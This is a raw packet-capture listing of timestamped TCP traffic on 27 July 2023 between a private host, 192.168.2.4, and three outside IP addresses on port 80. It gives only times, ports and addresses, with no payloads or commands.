Jul 27, 2023 18:27:08.436182976 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.436222076 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.436292887 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.438081026 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438144922 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438158989 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.438193083 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438239098 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438286066 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438297987 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.438330889 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438374043 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438384056 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.438417912 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438433886 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.438462019 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438508034 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438523054 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.438553095 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438615084 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.438632011 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.438662052 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.440629005 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.440684080 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.440715075 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.440737963 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.440742016 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.440803051 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.440860987 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.440861940 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.440927029 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.440983057 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.440984011 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.441035986 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.441082954 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.441128016 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.441137075 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.441174030 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.441222906 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.441226006 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.441267967 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.441323996 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.443272114 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443340063 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443346977 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.443387985 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443434954 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443481922 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443491936 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.443527937 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443573952 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443586111 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.443619967 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443641901 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.443666935 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443711996 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443722963 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.443758011 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443805933 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.443811893 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.445761919 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.445833921 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.445843935 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.445890903 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.445951939 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.445956945 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.446002960 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.446048975 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.446094990 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.446105957 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.446142912 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.446192026 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.446209908 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.446239948 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.446247101 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.446286917 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.446335077 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.446341991 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.446382046 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.448349953 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.448398113 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.448425055 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.448448896 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.448507071 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.448509932 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.448553085 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.448564053 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.448599100 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.448645115 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.448656082 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.448940039 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.448990107 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.449012995 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.449141979 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.449188948 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.449203968 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.449238062 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.449285984 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.449342012 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.450198889 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450269938 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450320005 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450347900 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.450366020 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450371981 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.450413942 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450459957 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450476885 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.450506926 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450553894 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450570107 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.450601101 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450645924 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450695038 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.450706005 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.453272104 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.454427004 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.454675913 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.454741001 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.454772949 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.454786062 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.454830885 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.454840899 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.454842091 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.454876900 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.454924107 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.454940081 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.454972029 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.455018997 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.455024004 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.455064058 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.455110073 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.455122948 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.455275059 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.517008066 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.584700108 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.584762096 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.584810019 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.584856987 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.584856987 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.584925890 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.584976912 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.584985018 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.585103035 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.585148096 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.585159063 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.585192919 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.585242987 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.585246086 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.585288048 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.585335970 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.585342884 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.585514069 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.590679884 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.590732098 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.590780973 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.590810061 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.590828896 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.590874910 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.590922117 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.590934992 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.590969086 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.591016054 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.591025114 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.591063023 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.591109037 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.591118097 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.591155052 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.591203928 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.591208935 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.591252089 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.591305017 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.596344948 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596415043 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596436977 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.596477985 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596541882 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596589088 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596597910 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.596635103 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596682072 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596689939 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.596725941 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596771002 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596780062 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.596817017 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596817970 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.596860886 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596905947 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.596910000 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.598237038 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.690479994 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.725430965 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725490093 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725538015 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725578070 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.725605965 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725642920 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.725655079 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725662947 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.725701094 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725714922 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.725760937 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725765944 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.725811958 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725817919 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.725858927 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725872040 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.725908041 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725955009 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.725979090 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.725997925 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.726000071 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.726047039 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.726052046 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.726093054 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.726113081 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.726138115 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.726144075 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.726182938 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.726186991 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.726233006 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.726238012 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.726279020 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.726320028 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.726324081 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.726339102 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.726371050 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.726424932 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.815131903 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.835237980 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:08.838288069 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:08.914124966 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:08.939064026 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:08.996671915 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.996745110 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.996798038 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.996859074 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.996876001 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.996920109 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.996936083 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.996977091 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.996984005 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997030973 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997056007 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997117996 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997123957 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997168064 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997191906 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997241020 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997262955 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997314930 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997330904 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997373104 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997379065 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997425079 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997426987 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997482061 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997495890 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997544050 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997560978 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997608900 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997631073 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997651100 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997654915 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997700930 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997703075 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997750998 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997752905 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997795105 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997796059 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997839928 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997848034 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997884989 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997894049 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997929096 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.997944117 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997972965 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.997975111 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998022079 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998027086 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998065948 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998084068 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998107910 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998112917 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998157978 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998171091 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998203039 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998214960 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998253107 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998279095 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998297930 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998297930 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998344898 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998353958 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998388052 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998390913 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998435974 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998440981 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998478889 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998481035 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998527050 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998527050 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998572111 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998574018 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998617887 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998619080 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998661995 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998662949 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998708010 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:08.998709917 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:08.998761892 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.014794111 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:09.269145966 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269268036 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269344091 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269412994 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269463062 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.269479990 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269517899 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.269548893 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.269551992 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269623041 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269629955 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.269673109 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.269686937 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269748926 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.269752026 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269798994 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.269824028 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269884109 CEST	49712	80	192.168.2.4	103.100.211.218
Jul 27, 2023 18:27:09.269891977 CEST	80	49712	103.100.211.218	192.168.2.4
Jul 27, 2023 18:27:09.269964933 CEST	80	49712	103.100.211.218	192.168.2.4
